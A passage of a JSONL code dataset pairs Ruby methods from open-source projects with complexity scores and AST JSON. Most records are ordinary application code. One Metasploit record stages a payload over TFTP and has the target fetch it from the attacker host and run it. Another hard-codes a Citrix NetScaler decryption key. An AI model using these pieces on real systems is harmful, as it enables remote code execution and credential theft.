":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@nested_mixed\"]}]}]}]}","id":"edab7c4f-d9dd-442f-8d69-0f48666c1434"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2464,"raw_source":"def snippets_enabled?\n    !!project_feature&.snippets_enabled?\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"snippets_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},\"snippets_enabled?\"]},\"!\"]},\"!\"]}]}","id":"77804f15-7eef-4c77-b379-8f2ca429e3d9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_length.rb","start_line":146,"raw_source":"def check_for_breakable_str(node)\n          line_index = node.loc.line - 1\n          return if breakable_range_by_line_index[line_index]\n\n          return unless breakable_string?(node)\n          return unless (delimiter = string_delimiter(node))\n          return unless (pos = breakable_string_position(node))\n\n          breakable_range_by_line_index[line_index] = range_between(pos, pos + 1)\n          breakable_string_delimiters[line_index] = delimiter\n        end","complexity_score":22.65,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_breakable_str\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"breakable_range_by_line_index\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"line_index\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"breakable_string?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delimiter\",{\"type\":\"send\",\"children\":[null,\"string_delimiter\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\",{\"type\":\"send\",\"children\":[null,\"breakable_string_position\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"breakable_range_by_line_index\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"line_index\"]},{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"lvar\",\"children\":[\"pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"breakable_string_delimiters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"line_index\"]},{\"type\":\"lvar\",\"children\":[\"delimiter\"]}]}]}]}","id":"9c58de98-a97c-422e-8486-8473a43d540d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":2505,"raw_source":"def new_level(level)\n          self.class.new(frame, self, level)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"frame\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}","id":"461176b1-83b9-4af3-a2f6-f36120e3bd53"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":910,"raw_source":"def test_test_uploaded_file\n    filename = \"ruby_on_rails.jpg\"\n    path = \"#{FILES_DIR}/#{filename}\"\n    content_type = \"image/png\"\n    expected = File.read(path)\n    expected.force_encoding(Encoding::BINARY)\n\n    file = Rack::Test::UploadedFile.new(path, content_type)\n    assert_equal filename, file.original_filename\n    assert_equal content_type, file.content_type\n    assert_equal file.path, file.local_path\n    assert_equal expected, file.read\n\n    new_content_type = \"new content_type\"\n    file.content_type = new_content_type\n    assert_equal new_content_type, file.content_type\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_test_uploaded_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"str\",\"children\":[\"ruby_on_rails.jpg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FILES_DIR\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content_type\",{\"type\":\"str\",\"children\":[\"image/png\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"BINARY\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"UploadedFile\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"original_filename\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"content_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"local_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"read\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_content_type\",{\"type\":\"str\",\"children\":[\"new content_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"content_type=\",{\"type\":\"lvar\",\"children\":[\"new_content_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"new_content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"content_type\"]}]}]}]}","id":"b8db80ac-11d4-41f9-87e5-2b1b5dc53947"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/converter.rb","start_line":262,"raw_source":"def parse_section_options(raw_options)\n          return unless raw_options\n\n          # We need to remove the square brackets and split\n          # by comma to get a list of the options\n          options = raw_options[1...-1].split ','\n\n          # Now split each option by equals to separate\n          # each in the format [key, value]\n          options.to_h { |option| option.split '=' }\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_section_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_options\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_options\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]}]}]}]}","id":"52b56a1c-b1fc-432a-ad92-44c6b6f40469"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/support/signed_request_helpers.rb","start_line":4,"raw_source":"def get(path, headers: nil, sign_with: nil, **args)\n    return super(path, headers: headers, **args) if sign_with.nil?\n\n    headers ||= {}\n    headers['Date'] = Time.now.utc.httpdate\n    headers['Host'] = Rails.configuration.x.local_domain\n    signed_headers = headers.merge('(request-target)' => \"get #{path}\").slice('(request-target)', 'Host', 'Date')\n\n    key_id = ActivityPub::TagManager.instance.key_uri_for(sign_with)\n    keypair = sign_with.keypair\n    signed_string = signed_headers.map { |key, value| \"#{key.downcase}: #{value}\" }.join(\"\\n\")\n    signature = Base64.strict_encode64(keypair.sign(OpenSSL::Digest.new('SHA256'), signed_string))\n\n    headers['Signature'] = \"keyId=\\\"#{key_id}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"#{signed_headers.keys.join(' ').downcase}\\\",signature=\\\"#{signature}\\\"\"\n\n    super(path, headers: headers, **args)\n  end","complexity_score":37.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"headers\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sign_with\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sign_with\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"httpdate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"local_domain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"signed_headers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"(request-target)\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]},\"slice\",{\"type\":\"str\",\"children\":[\"(request-target)\"]},{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"Date\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"key_uri_for\",{\"type\":\"lvar\",\"children\":[\"sign_with\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keypair\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sign_with\"]},\"keypair\"]}]},{\"type\":\"lvasgn\",\"children\":[\"signed_string\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signed_headers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"signature\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keypair\"]},\"sign\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHA256\"]}]},{\"type\":\"lvar\",\"children\":[\"signed_string\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Signature\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"keyId=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_id\"]}]},{\"type\":\"str\",\"children\":[\"\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signed_headers\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"\\\",signature=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signature\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"ed75a643-f870-4217-8977-7e9dfa28a486"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/stores/socials.rb","start_line":67,"raw_source":"def social_links\n        @social_links ||= [instagram_link, facebook_link, twitter_link, pinterest_link, youtube_link, tiktok_link, spotify_link, discord_link].compact_blank\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"social_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@social_links\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instagram_link\"]},{\"type\":\"send\",\"children\":[null,\"facebook_link\"]},{\"type\":\"send\",\"children\":[null,\"twitter_link\"]},{\"type\":\"send\",\"children\":[null,\"pinterest_link\"]},{\"type\":\"send\",\"children\":[null,\"youtube_link\"]},{\"type\":\"send\",\"children\":[null,\"tiktok_link\"]},{\"type\":\"send\",\"children\":[null,\"spotify_link\"]},{\"type\":\"send\",\"children\":[null,\"discord_link\"]}]},\"compact_blank\"]}]}]}","id":"c8fbc807-f728-4f43-82db-9924f865af03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/antivirus/ams_hndlrsvc.rb","start_line":60,"raw_source":"def windows_stager\n    @pl = generate_payload_exe\n    @tftp = Rex::Proto::TFTP::Server.new\n    payload_name = \"#{Rex::Text.rand_text_alpha_upper(11)}.exe\"\n    @tftp.register_file(payload_name, @pl, true)\n    @tftp.start\n    print_status(\"Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}\")\n    execute_command(\"tftp -i #{datastore['lhost']} GET #{payload_name}\")\n    print_status(\"Attempting to execute the payload...\")\n    execute_command(payload_name)\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"windows_stager\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pl\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tftp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"TFTP\"]},\"Server\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tftp\"]},\"register_file\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]},{\"type\":\"ivar\",\"children\":[\"@pl\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tftp\"]},\"start\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending request to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tftp -i \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lhost\"]}]}]},{\"type\":\"str\",\"children\":[\" GET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to execute the payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]}","id":"7cebad31-b856-40e7-b00d-d0c0a4b27bcc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows.rb","start_line":38,"raw_source":"def self.escape_powershell_literal(string)\n    string = string.dup\n    string.gsub!(\"'\", \"''\")\n    string\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"escape_powershell_literal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"str\",\"children\":[\"''\"]}]},{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}","id":"e5efc2ac-4c33-4644-af37-79004e5f7f1e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb","start_line":93,"raw_source":"def ns90_aeskey\n    '351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ns90_aeskey\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]}","id":"ef8c2da1-6b35-43ce-a2f3-8ece3e9965b5"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/support/fake_bisect_runner.rb","start_line":24,"raw_source":"def dependency_satisfied?(depends_upon, ids)\n    depends_upon.all? { |d| ids.include?(d) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"dependency_satisfied?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"depends_upon\"]},{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depends_upon\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]}","id":"56fa1d7e-bc4c-4169-b452-697f5b12957e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/scope.rb","start_line":50,"raw_source":"def outbound_projects\n        outbound_allowlist.projects\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"outbound_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"outbound_allowlist\"]},\"projects\"]}]}","id":"63c314eb-4fec-47e0-9122-66954da1294e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/migration/safe_migrate.rb","start_line":21,"raw_source":"def migrate(direction)\n      if direction == :up && version &&\n           version > Migration::SafeMigrate.earliest_post_deploy_version &&\n           @@enable_safe != false && !is_post_deploy_migration?\n        Migration::SafeMigrate.enable!\n      end\n\n      super\n    ensure\n      Migration::SafeMigrate.disable!\n    end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"direction\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"direction\"]},\"==\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[null,\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"earliest_post_deploy_version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@enable_safe\"]},\"!=\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_post_deploy_migration?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"enable!\"]},null]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"disable!\"]}]}]}","id":"656dd645-ea3f-45f3-8417-67895a41d0ba"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/facebook/delivery_status.rb","start_line":6,"raw_source":"def perform\n    return if facebook_channel.blank?\n    return unless conversation\n\n    process_delivery_status if params.delivery_watermark\n    process_read_status if params.read_watermark\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"facebook_channel\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delivery_watermark\"]},{\"type\":\"send\",\"children\":[null,\"process_delivery_status\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"read_watermark\"]},{\"type\":\"send\",\"children\":[null,\"process_read_status\"]},null]}]}]}","id":"20e8a871-0230-4d1b-b3ba-2c32dc2af3c7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/context/merger.rb","start_line":6,"raw_source":"def initialize(holidays_by_month_repo, regions_repo, custom_methods_repo)\n          @holidays_repo = holidays_by_month_repo\n          @regions_repo = regions_repo\n          @custom_methods_repo = custom_methods_repo\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"holidays_by_month_repo\"]},{\"type\":\"arg\",\"children\":[\"regions_repo\"]},{\"type\":\"arg\",\"children\":[\"custom_methods_repo\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@holidays_repo\",{\"type\":\"lvar\",\"children\":[\"holidays_by_month_repo\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@regions_repo\",{\"type\":\"lvar\",\"children\":[\"regions_repo\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@custom_methods_repo\",{\"type\":\"lvar\",\"children\":[\"custom_methods_repo\"]}]}]}]}","id":"fb291598-ea23-422b-b249-92cab9272499"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/repositories/rewrite_history_service.rb","start_line":18,"raw_source":"def async_execute(blob_oids: [], redactions: [])\n      result = validate_input(blob_oids: blob_oids, redactions: redactions)\n      return result if result.error?\n\n      ::Repositories::RewriteHistoryWorker.perform_async(\n        project_id: project.id,\n        user_id: current_user.id,\n        blob_oids: blob_oids,\n        redactions: redactions\n      )\n\n      ServiceResponse.success\n    